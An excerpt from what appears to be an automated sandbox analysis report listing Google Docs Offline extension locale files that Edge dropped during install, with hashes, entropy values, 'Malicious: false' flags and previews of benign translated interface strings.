C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8132_1604107793\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

